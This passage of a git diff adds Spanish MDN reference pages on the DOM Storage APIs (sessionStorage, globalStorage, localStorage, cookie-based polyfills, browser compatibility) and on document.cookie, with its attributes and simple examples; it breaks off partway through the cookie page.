+<p>Este es un objeto global (<code>sessionStorage</code>) que mantiene un área de almacenamiento que está disponible durante la sesión de página. Una sesión de página existe mientras el navegador esté abierto y sobrevive a recargas o restauraciones de páginas. Abrir una página en una nueva pestaña o en una ventana provoca que se cree una nueva sesión.</p>
+<pre class="brush: js">// Guardar datos en el almacén de la sesión actual
+sessionStorage.setItem("username", "John");
+
+// Acceder a algunos datos guardados
+alert( "username = " + sessionStorage.getItem("username"));
+</pre>
+<p>El objeto <code>sessionStorage</code> es más usado para manejar datos temporales que deberían ser guardados y recuperados si el navegador es recargado accidentalmente.</p>
+<p>{{ fx_minversion_note("3.5", "Antes de Firefox 3.5, los datos de sessionStorage no se restablecían automáticamente después de recuperarse de un fallo del navegador. A partir de Firefox 3.5, funciona según la especificación.") }}</p>
+<p><strong>Ejemplos:</strong></p>
+<p>Autoguardado de los contenidos de un campo de texto y, si el navegador se recarga accidentalmente, restauración del contenido del campo de texto para evitar la pérdida de datos.</p>
+<pre class="brush: js"> // Obtener el campo de texto al que vamos a seguir la pista
+ var field = document.getElementById("field");
+
+ // Ver si se tiene un valor de autoguardado
+ // (esto sólo sucede si la página es actualizada accidentalmente)
+ if ( sessionStorage.getItem("autosave")) {
+    // Restaurar los contenidos del campo de texto
+    field.value = sessionStorage.getItem("autosave");
+ }
+
+ // Comprobar los contenidos del campo de texto cada segundo
+ setInterval(function(){
+    // Y guardar los resultados en el objeto de almacenamiento de sesión
+    sessionStorage.setItem("autosave", field.value);
+ }, 1000);
+</pre>
+<p><strong>Más información:</strong></p>
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#sessionstorage" title="http://www.whatwg.org/specs/web-apps/current-work/#sessionstorage">Especificación sessionStorage</a></li>
+</ul>
+<h4 id="globalStorage" name="globalStorage"><code>globalStorage</code></h4>
+<p> </p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">{{ Non-standard_header() }} Este es un objeto global ( <code>globalStorage</code> ) que mantiene múltiples áreas de almacenamiento privado que se pueden utilizar para almacenar los datos durante un largo período de tiempo (por ejemplo, en varias páginas y las sesiones del navegador) .</span></span></p>
+<div class="warning">
+ <span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Nota: <code>globalStorage</code> no es de tipo <code>Storage</code>, sino un objeto de tipo <code>StorageList</code> que contiene a su vez elementos <code>StorageObsolete</code>.</span></span></div>
+<pre class="brush: js">// Guardar datos a los que sólo pueden acceder scripts del dominio mozilla.org
+globalStorage['mozilla.org'].setItem("snippet", "&lt;b&gt;Hola&lt;/b&gt;, ¿cómo estás?");
+</pre>
+<p>Específicamente, el objeto <code>globalStorage</code> proporciona acceso a un número de diferentes objetos de almacenamiento en los que los datos pueden ser guardados. Por ejemplo, si se construye una página web que usa <code>globalStorage</code> en este dominio (developer.mozilla.org) se dispondría de los siguientes objetos de almacenamiento:</p>
+<ul>
+ <li><code>globalStorage['developer.mozilla.org']</code>- Todas las páginas web dentro del subdominio developer.mozilla.org podrán leer de, y escribir datos en, este objeto de almacenamiento.</li>
+</ul>
+<p>{{ Fx_minversion_note(3, "Firefox 2 permitía el acceso a objetos de almacenamiento superiores en la jerarquía del dominio al documento actual, pero esto ya no se permite en Firefox 3 por razones de seguridad. Además, se ha eliminado esta adición propuesta a HTML 5 de la especificación en favor de <code>localStorage</code>, que se implementa a partir de Firefox 3.5.") }}</p>
+<p><strong>Ejemplos:</strong></p>
+<p>Todos estos ejemplos necesitan que haya un script insertado (con el siguiente código) en cada página en la que se quiera ver el resultado.</p>
+<p>Recordar el nombre un usuario para un subdominio en particular que está siendo visitado:</p>
+<pre class="brush: js"> globalStorage['developer.mozilla.org'].setItem("username", "John");
+</pre>
+<p>Seguir la pista al número de veces que un usuario visita todas las páginas de un dominio:</p>
+<pre class="brush: js"> // parseInt must be used since all data is stored as a string
+ globalStorage['mozilla.org'].setItem("visits", parseInt(globalStorage['mozilla.org'].getItem("visits") || 0 ) + 1);
+</pre>
+<p> </p>
+<h4 class="editable" id="localStorage"><span><code>localStorage</code></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-61"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr"><code>localStorage</code> es lo mismo que <code>globalStorage[location.hostname]</code>, excepto que está dentro del ámbito de un origen HTML5 (esquema + nombre de servidor + puerto no estándar), y que <code>localStorage</code> es un elemento de tipo <code>Storage</code> a diferencia de <code>globalStorage[location.hostname]</code>, que es de tipo <code>StorageObsolete</code> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-62"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Por ejemplo, <a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fexample.com%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNHbmhS24rOBWpzaMcUapS5k_3_-JQ" rel="external nofollow">http://example.com</a> no es capaz de acceder al mismo objeto <code>localStorage</code> que <a class="link-https" href="http://www.google.com/url?q=https%3A%2F%2Fexample.com%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFdUqh3fgxBA_n6BEUpV3eYKVuHXA" rel="external nofollow">https://example.com</a> pero pueden acceder al mismo objeto <code>globalStorage</code>. <code>localStorage</code> es una interfaz estándar, mientras que <code>globalStorage</code> no es estándar. <code>localStorage</code> fue introducida en Firefox 3.5.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-63"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Ten en cuenta que establecer una propiedad en <code>globalStorage[location.hostname]</code> <strong>no</strong> la establece en <code>localStorage</code> y extender <code>Storage.prototype</code> no afecta a los elementos <code>globalStorage</code>. Esto sólo se hace extendiendo <code>StorageObsolete.prototype</code>.</span></span></p>
+<div class="note">
+ <span class="goog-gtc-unit" id="goog-gtc-unit-64"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr"><strong>Nota:</strong> cuando el navegador entra en modo de navegación privada, se crea una nueva base de datos temporal para almacenar los datos locales de almacenamiento; </span></span><span class="goog-gtc-unit" id="goog-gtc-unit-64"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">esta base de datos se vacía cuando se sale del modo de navegación privada.</span></span></div>
+<div id="section_8">
+ <h5 id="Compatibilidad">Compatibilidad</h5>
+ <p>Los objetos <code>Storage</code> se han agregado recientemente al estándar, por lo que puede ocurrir que no estén presentes en todos los navegadores. Puedes solucionar esto insertando uno de los siguientes códigos al principio de tus scripts, lo que permitirá el uso del objeto <code>localStorage</code> object en aquellas implementaciones que de forma nativa no lo admitan.</p>
+ <p>Este algoritmo es una imitación exacta del objeto <code>localStorage</code>, pero haciendo uso de cookies.</p>
+ <pre class="brush: js">if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        var sExpDate = new Date();
+        sExpDate.setDate(sExpDate.getDate() - 1);
+        document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length &gt; 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var iCouple, iKey, iCouplId = 0, aCouples = document.cookie.split(/\s*;\s*/); iCouplId &lt; aCouples.length; iCouplId++) {
+        iCouple = aCouples[iCouplId].split(/\s*=\s*/);
+        if (iCouple.length &gt; 1) {
+          oStorage[iKey = unescape(iCouple[0])] = unescape(iCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+</pre>
+ <div class="note">
+  <strong>Nota:</strong> el tamaño máximo de datos que pueden guardarse está bastante restringido por el uso de cookies. Con este algoritmo, usa las funciones <code>localStorage.setItem()</code> y <code>localStorage.removeItem()</code> para agregar, cambiar o eliminar una clave. Usar los métodos <code>localStorage.tuClave = tuValor;</code> y <code>delete localStorage.tuClave;</code> para establecer o eliminar una clave <strong>no es muy seguro con este código</strong>. También puedes cambiar su nombre y usarlo para administrar las cookies de un documento independientemente del objeto localStorage.</div>
+ <p>Aquí tienes otra imitación, menos exacta, del objeto <code>localStorage</code>. Es mucho más simple  que el anterior, pero es compatible con los navegadores antiguos como Internet Explorer &lt; 8. También usa cookies.</p>
+ <pre class="brush: js">if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) { return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]); },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      var sExpDate = new Date();
+      sExpDate.setDate(sExpDate.getDate() - 1);
+      document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) { return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=")).test(document.cookie); }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+</pre>
+ <div class="note">
+  <strong>Nota:</strong> el tamaño máximo de datos que pueden guardarse está bastante restringido por el uso de cookies. Con este algoritmo, usa las funciones <code>localStorage.getItem()</code>, <code>localStorage.setItem()</code> y <code>localStorage.removeItem()</code> para agregar, cambiar o eliminar una clave. Usar los métodos <code>localStorage.tuClave</code> para obtener, establecer o eliminar una clave <strong>no es muy seguro con este código</strong>. También puedes cambiar su nombre y usarlo para administrar las cookies de un documento independientemente del objeto localStorage.</div>
+ <h3 class="editable" id="Lugar_de_almacenamiento_y_borrado_de_datos"><span><span class="goog-gtc-unit" id="goog-gtc-unit-65"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Lugar de almacenamiento y borrado de datos</span></span></span></h3>
+ <p><span class="goog-gtc-unit" id="goog-gtc-unit-66"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Los datos de almacenamiento DOM se guardan en el <a class="external" href="http://kb.mozillazine.org/Webappsstore.sqlite" rel="external nofollow" title="http://kb.mozillazine.org/Webappsstore.sqlite">archivo webappsstore.sqlite</a> de la carpeta del perfil.</span></span></p>
+ <ul>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-67"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">Almacenamiento DOM se puede borrar a través de "Herramientas -&gt; Borrar Historial reciente -&gt; Cookies" cuando el rango de tiempo es "Todo" (a través de nsICookieManager:: removeAll)</span></span>
+   <ul>
+    <li><span class="goog-gtc-unit" id="goog-gtc-unit-68"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Pero no cuando se especifica otro intervalo de tiempo: ( <a class="link-https" href="http://www.google.com/url?q=https%3A%2F%2Fbugzilla.mozilla.org%2Fshow_bug.cgi%3Fid%3D527667&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNEMF8WI1pO7c8uQnfOUS0KITnlz5Q" rel="external nofollow">bug 527667</a> )</span></span></li>
+    <li><span class="goog-gtc-unit" id="goog-gtc-unit-69"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">No aparece en Herramientas -&gt; Opciones -&gt; Privacidad -&gt; Eliminar cookies individuales ( <a class="link-https" href="http://www.google.com/url?q=https%3A%2F%2Fbugzilla.mozilla.org%2Fshow_bug.cgi%3Fid%3D506692&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNH3d0Etkixvdpdvd_u6gywZoEmsMQ" rel="external nofollow">bug 506692</a> )</span></span></li>
+   </ul>
+  </li>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-70"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">El almacenamiento DOM <strong>no</strong> se elimina a través de Herramientas -&gt; Opciones -&gt; Avanzado -&gt; Red -&gt; Datos en modo sin conexión -&gt; Limpiar ahora.</span></span></li>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-71"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">No aparece en la lista "Herramientas -&gt; Opciones -&gt; Avanzado -&gt; Red -&gt; Datos en modo sin conexión", a menos que el sitio también utilice la caché sin conexión.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-72"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Si el sitio aparece en esa lista, los datos de almacenamiento DOM se eliminan junto con la <a href="/en/Using_Application_Cache" rel="internal" title="https://developer.mozilla.org/en/Using_Application_Cache">memoria caché sin conexión</a> cuando se hace clic en el botón Eliminar.</span></span></li>
+ </ul>
+ <p><span class="goog-gtc-unit" id="goog-gtc-unit-73"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Consulta también <a href="/en/Using_Application_Cache#Storage_location_and_clearing_the_offline_cache" rel="internal" title="https://developer.mozilla.org/en/Using_Application_Cache#Storage_location_and_clearing_the_offline_cache">borrar la caché de recursos en modo sin conexión</a> .</span></span></p>
+</div>
+<h3 id="M.C3.A1s_informaci.C3.B3n" name="M.C3.A1s_informaci.C3.B3n"><span class="goog-gtc-unit" id="goog-gtc-unit-74"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">Más información</span></span></h3>
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-75"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr"><a class="external" href="http://www.w3.org/TR/webstorage/" rel="external nofollow" title="http://www.w3.org/TR/webstorage/">Almacenamiento web</a> (W3C Web Grupo de trabajo sobre aplicaciones web)</span></span></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Dom.storage.enabled" rel="external nofollow" title="http://kb.mozillazine.org/Dom.storage.enabled"><span class="goog-gtc-unit" id="goog-gtc-unit-76"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">Activar / Desactivar almacenamiento DOM en Firefox o SeaMonkey</span></span></a></li>
+</ul>
+<h3 id="Ejemplos" name="Ejemplos"><span class="goog-gtc-unit" id="goog-gtc-unit-77"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Ejemplos</span></span></h3>
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-78"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a class="external" href="http://www.diveintojavascript.com/tutorials/web-storage-tutorial-creating-an-address-book-application" rel="external nofollow" title="http://www.diveintojavascript.com/tutorials/web-storage-tutorial-creating-an-address-book-application">Tutorial de almacenamiento web JavaScript: cómo crear una aplicación de la libreta de direcciones</a>. Práctico tutorial que describe cómo utilizar la API de almacenamiento web mediante la creación de una aplicación sencilla de la libreta de direcciones.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-79"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a class="external" href="http://hacks.mozilla.org/2010/01/offline-web-applications/" rel="external nofollow" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">Aplicaciones web en modo desconexión</a> en hacks.mozilla.org: muestra una demo de la aplicación en modo desconexión y explica cómo funciona.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-80"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a class="external" href="http://noteboard.eligrey.com/" rel="external nofollow" title="http://noteboard.eligrey.com/">Noteboard</a>: aplicación para escritura de notas que almacena todos los datos en local.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-81"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a class="external" href="http://github.com/eligrey/jData-host" rel="external nofollow" title="http://github.com/eligrey/jData-host">JData</a>: una interfaz de objetos compartidos localStorage a la que cualquier sitio web en Internet puede acceder y que funciona en Firefox 3 +, Webkit 3.1.2 + versiones estables ("nightlies) y IE8.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-82"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Piensa en ella como pseudo-globalStorage [""], pero el acceso de escritura necesita la confirmación del usuario.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-83"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a class="external" href="http://codebase.es/test/webstorage.html" rel="external nofollow" title="http://codebase.es/test/webstorage.html">Ejemplo de localStorage en HTML 5 </a>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-84"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Un ejemplo de localStorage muy sencillo y fácil de entender.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-85"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Guarda y recupera los textos y muestra una lista de elementos guardados.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-86"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Probado en Firefox 3 o superior.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-87"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a class="external" href="http://upload.jonathanwilsson.com/html5/sessionstorage.php" rel="external nofollow" title="http://upload.jonathanwilsson.com/html5/sessionstorage.php">Almacenamiento de sesión en HTML5</a>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-88"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Un ejemplo muy simple de almacenamiento de sesión.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-89"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">También incluye un ejemplo en almacenamiento local.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-90"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Probado en Firefox 3.6 o superior.</span></span></li>
+</ul>
+<h3 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h3>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>localStorage</td>
+    <td>4</td>
+    <td>3.5</td>
+    <td>8</td>
+    <td>10.50</td>
+    <td>4</td>
+   </tr>
+   <tr>
+    <td>sessionStorage</td>
+    <td>5</td>
+    <td>2</td>
+    <td>8</td>
+    <td>10.50</td>
+    <td>4</td>
+   </tr>
+   <tr>
+    <td>globalStorage</td>
+    <td>{{ CompatNo() }}</td>
+    <td>2</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Compatibilidad básica</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>Todos los navegadores tienen diferentes niveles de capacidad tanto para local- como para sessionStorage. Aquí puedes ver un<a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/"> resumen detallado de todas las capacidades de almacenamiento de los distintos navegadores</a>.</p>
+<h3 id="Contenido_relacionado" name="Contenido_relacionado"><span class="goog-gtc-unit" id="goog-gtc-unit-91"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Contenido relacionado</span></span></h3>
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-92"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style=""><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FHTTP_cookie&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFACogcWPyUjw22LvVhbEL5L07xEA">Cookies HTTP</a> ( <a><code>document.cookie</code></a> )</span></span></li>
+ <li><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fwww.macromedia.com%2Fsupport%2Fdocumentation%2Fen%2Fflashplayer%2Fhelp%2Fhelp02.html&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFrtvzw9ttNpzuCXBX_Hlq3o20cYA"><span class="goog-gtc-unit" id="goog-gtc-unit-93"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Almacenamiento local de Flash</span></span></a></li>
+ <li><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fmsdn2.microsoft.com%2Fen-us%2Flibrary%2Fms531424.aspx&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFaRBrB2GGggww2L9dRDlUWDBm9IQ"><span class="goog-gtc-unit" id="goog-gtc-unit-94"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Comportamiento userData en Internet Explorer </span></span></a></li>
+ <li><a><span class="goog-gtc-unit" id="goog-gtc-unit-95"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">nsIDOMStorageEventObsolete</span></span></a></li>
+ <li><a><span class="goog-gtc-unit" id="goog-gtc-unit-96"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">StorageEvent</span></span></a></li>
+</ul>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-97"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">{{ HTML5ArticleTOC () }}</span></span></p>
+<p> </p>
+<p> </p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-98"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">{{ languages( { "en": "en/DOM/Storage", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}</span></span></p>
diff --git a/files/es/dom/document.cookie/index.html b/files/es/dom/document.cookie/index.html
new file mode 100644
index 0000000000..791ae788f2
--- /dev/null
+++ b/files/es/dom/document.cookie/index.html
@@ -0,0 +1,119 @@
+---
+title: document.cookie
+slug: DOM/document.cookie
+tags:
+  - NeedsContent
+translation_of: Web/API/Document/cookie
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Con <code>document.cookie</code> se obtienen y definen las <code>cookies</code> asociadas con el documento.</p>
+
+<h2 id="Sintaxis_2">Sintaxis</h2>
+
+<h3 id="Sintaxis" name="Sintaxis">Leer todas las cookies accesibles desde una localización</h3>
+
+<pre class="eval"><em>todasLasCookies</em> = <em>document</em>.cookie;
+</pre>
+
+<p>En el código anterior <em><code>todasLasCookies</code></em> es una cadena que contiene una lista de todas las cookies separadas por punto y coma (en pares <em><code>clave=valor</code></em>). Tenga en cuenta que <var>clave</var> y <var>valor</var> pueden estar rodeadas por espacios en blanco (caracteres espacio y tabulación): de hecho <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a> especifica que debe haber un espacio en blanco después de cada punto y coma (;), pero algunos agentes de usuario no son muy estrictos con esto.</p>
+
+<h3 id="Escribir_una_nueva_cookie">Escribir una nueva cookie</h3>
+
+<pre class="eval"><em>document</em>.cookie = <em>nuevaCookie</em>;</pre>
+
+<p class="eval">En el código anterior, <em><code>nuevacookie</code></em> es una cadena de la forma <em><code>clave=valor</code></em>. Tenga en cuenta que solo se puede crear o actualizar una cookie de cada vez mediante este método. Considere también que:</p>
+
+<ul>
+ <li class="eval">Cualquiera de los siguientes atributos opcionales se puede escribir después del par clave-valor, especificando la cookie que se va a crear o actualizar, precedidos de un punto y coma.
+  <ul>
+   <li class="eval"><code>;path=<em>pat</em>h</code> (p. ej.: '/'. '/midir'). Si no se especifica, por defecto corresponde a la ruta del documento actual.<br>
+    La ruta debe ser <strong>absoluta</strong> (ver <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>). Para más información sobre cómo utilizar rutas relativas, ir a <a href="https://developer.mozilla.org/es/docs/DOM/document.cookie$edit#Using_relative_URLs_in_the_path_parameter">este párrafo</a>.</li>
+   <li class="eval"><code>;domain=<em>domain</em></code> (p. ej. 'example.com', 'subdomain.example.com'). Si no se especifica, su valor por defecto es la porción de la dirección web de la ubicación actual del archivo. A diferencia de lo que ocurría en las primeras especificaciones, los puntos iniciales de los nombre de dominio se ignoran, pero los navegadores pueden impedir crear cookies que contengan dichos puntos. Si se especifica un dominio, los subdominios siempre son incluidos.</li>
+   <li class="eval"><code>;max-age=</code><em><code>duración-máxima-en-segundos</code></em> Por ejemplo: 60*60*24*365 para un año.</li>
+   <li class="eval"><code>;expires=</code><em><code>fecha-en-formato-GMTString</code> </em>Si no se especifica <code>max-age</code> ni <code>expires</code>, la cookie expirará al terminar la sesión actual.</li>
+   <li class="eval"><code>;secure</code> La cookie sólo será transmitida en un protocolo seguro (HTTPS, SSL). Antes de Chrmoe 52, este atributo podía aparecer con cookes de dominios http.</li>
+   <li class="eval"><code>;samesite</code> Este atributo impide al navegador enviar esta cookie a través de peticiones cross-site. Los valores posibles son lax o strict. El soporte de este atributo se añadió en Chrome 51.
+    <ul>
+     <li class="eval">El valor <em><code>strict</code></em> impide que la cookie sea enviada por el navegador al sitio destino en contexto de navegador cross-site, incluso cuando sigue un enlace regular.</li>
+     <li class="eval">El valor <em><code>lax</code></em> sólo envía cookies a las peticiones de GET de ALTO NIVEL. Es suficiente para seguir al usuario, pero evitará muchos ataques CSRF.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li class="eval">El valor de la cookie puede ser evaluado mediante <a href="/es/Referencia_de_JavaScript_1.5/Funciones_globales/encodeURIComponent" title="encodeURIComponent">encodeURIComponent()</a> para asegurarse de que dicha cadena no incluya comas, punto y coma, ni espacios en blanco (lo cual no está permitido en el valor de una cookie).</li>
+ <li class="eval">Algunas implementaciones de agente de usuario soporta los siguientes prefijos de cookie:
+  <ul>
+   <li class="eval"><code>__Secure-</code>  Señales para el navegador que solo deben incluirse en las perticiones de cookie transmitidas por un canal seguro.</li>
+   <li class="eval"><code>__Host-</code> Señales del navegador que además de la restricción de uso de cookies que provienen de un origen serugo, el ámbito de la cookie está limitado a un atributo path que proporciona el servidor. Si el servidor omite el atributo path, el directorio de las petición URI está en uso. Tabién las señales del atributo dominio no deben estar presentes, lo cual previene que la cookie sea usada en otros dominis. Para Chrome, el atributo path debe tener el mismo origen.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="geckoVersionNote">{{ gecko_callout_heading("6.0") }}</div>
+
+<div class="geckoVersionNote">Nótese que previamente a Gecko 6.0 {{ geckoRelease("6.0") }}, rutas que contenían comillas eran tratadas como si las comillas fueran parte de la cadena, en lugar de considerarse como un delimitador de la ruta actual. Esto ya ha sido arreglado.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo # 1: Uso sencillo</h3>
+
+<pre class="brush: js">document.cookie = "nombre=oeschger";
+document.cookie = "comida_preferida=tripa";
+function alertCookie() {
+  alert(document.cookie); // visualizar: nombre=oeschger;comida favorita=tripa
+
+}</pre>
+
+<pre>&lt;button onclick="alertCookie()"&gt;Mostrar cookies&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p>
+
+<h3 id="Ejemplo_2_Obtener_una_cookie_de_ejemplo_llamada_test2">Ejemplo #2: Obtener una cookie de ejemplo llamada <em>test2</em></h3>
+
+<pre>document.cookie = "test1=Hola";
+document.cookie = "test2=Mundo";
+
+var cookieValor = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
+
+function alertCookieValue() {
+  alert(cookieValor);
+}
+</pre>
+
